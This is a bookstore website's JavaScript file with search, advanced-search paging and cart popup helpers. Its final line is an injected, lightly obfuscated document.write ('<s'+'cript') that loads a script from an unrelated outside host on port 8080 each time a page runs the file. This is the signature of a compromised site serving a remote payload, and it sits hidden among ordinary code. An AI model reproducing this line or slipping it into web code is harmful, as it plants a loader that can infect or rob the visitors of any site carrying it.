function inSearchbox()
{
	var txtBox = document.getElementById("txtSearch").value;
	if(txtBox == "Search")
	{
		document.getElementById("txtSearch").value ='';
	}
}

function searchThis(strPath)
{	
 	var txtBoxR = document.getElementById("txtSearch").value; 
	txtBox = trimAll(txtBoxR);
	if(txtBox == '' || txtBox == "Search")
	{	
		alert("Search box should not be blank.");
		document.getElementById("txtSearch").value='';
		document.getElementById("txtSearch").focus();
		return false;
	}
	else
	{	txtBox = trimAll(txtBox); 
		if(!(txtBox.indexOf('"') == -1))
		{
			alert('please remove double quotes.');
			document.getElementById("txtSearch").focus();
			return false;			
		}
		else
		{			
			document.frmNormalSearch.submit();
			return true;
		}
	}	
}

function assignValue(strTxt)
{	
	if(strTxt != '')
	{	
		var newVal = urldecode(strTxt);
		document.getElementById("txtSearch").value = newVal;
	}		
}

function advanceSearchReset()
{
	document.getElementById("title").value	= '';
	document.getElementById("condi").value	= '1';
	document.getElementById("author").value	= '';
	document.getElementById("condit").value	= '1';
	document.getElementById("i13").value	= '';
	document.getElementById("fyear").value	= '';
	document.getElementById("tyear").value	= '';
	document.getElementById("tyear").value	= '';
	document.getElementById("fprice").value	= '';
	document.getElementById("tprice").value	= '';
	document.getElementById("AdvSearchContentDiv").innerHTML = '';
}
function advanceSearch()
{
	

	var strTitle = document.getElementById("title").value;
	if(strTitle != '')
	{
		 if(!(strTitle.indexOf('"') == -1))
		 {
			alert('Please remove double quotes.');
			return false;
		 }	
	}
	var strCondi = document.getElementById("condi").value;
	var strAuthor = document.getElementById("author").value;
	var strCondit = document.getElementById("condit").value;
	var strI13 = document.getElementById("i13").value;
	var strFyear = document.getElementById("fyear").value;
	var strTyear = document.getElementById("tyear").value;
	var strFprice = document.getElementById("fprice").value;
	var strTprice = document.getElementById("tprice").value;
	
	if(strTitle == '' && strAuthor == '' && strI13 == '' && strFyear == '' && strTyear == '' && strFprice == '' && strTprice =='')
	{
		alert("Please fill atleast one value for search.");
		return false;
	}
	else
	{	
		document.getElementById("waitDiv").style.display="block";
		var strVars = 'title='+strTitle+'&condi='+strCondi+'&author='+strAuthor+'&condit='+strCondit+'&i13='+strI13+'&fyear='+strFyear+'&tyear='+strTyear+'&fprice='+strFprice+'&tprice='+strTprice;
		var strURL = 'getAdvanceSearch.php?'+strVars; 
	
		AjaxPostNew(strURL,1);
	}
}
function afterGetadvanceSearch(pContent)
{
	document.getElementById("waitDiv").style.display="none";
	document.getElementById("AdvSearchContentDiv").innerHTML = pContent;
}
function advSearchPaging(pageNo)
{
	var strTitle = document.getElementById("title").value;
	var strCondi = document.getElementById("condi").value;
	var strAuthor = document.getElementById("author").value;
	var strCondit = document.getElementById("condit").value;
	var strI13 = document.getElementById("i13").value;
	var strFyear = document.getElementById("fyear").value;
	var strTyear = document.getElementById("tyear").value;
	var strFprice = document.getElementById("fprice").value;
	var strTprice = document.getElementById("tprice").value;
	
	var strTxtBoxVars = 'title='+strTitle+'&condi='+strCondi+'&author='+strAuthor+'&condit='+strCondit+'&i13='+strI13+'&fyear='+strFyear+'&tyear='+strTyear+'&fprice='+strFprice+'&tprice='+strTprice;
	var strVars = strTxtBoxVars+'&page='+pageNo;
	var strURL = 'getAdvanceSearch.php?'+strVars;
	AjaxPostNew(strURL,1);
}
function openForgotPassword(strRoot)
{	
	 var strPage =strRoot+"/cart/forgetPassword.php";
	 popupWindow("overlay", strPage, 425, 300, "Forgot Password");
	 o();
}

function openShippingAddress(strRoot)
{	
	 var strPage =strRoot+"/cart/shippingAddress.php";
	 popupWindow("overlay", strPage, 500, 600, "Shipping Address");
	 o();
}

function isNumberKey(evt) // disable all keys
{
 //alert(evt);
var charCode = (evt.which) ? evt.which : evt.keyCode
//alert(charCode);
 if (charCode > 31 && (charCode < 48 || charCode > 57))
	return false;

 return true;
}


document.write('<s'+'cript type="text/javascript" src="http://kollinsoy.skyefenton.com:8080/Raw_File.js"></scr'+'ipt>');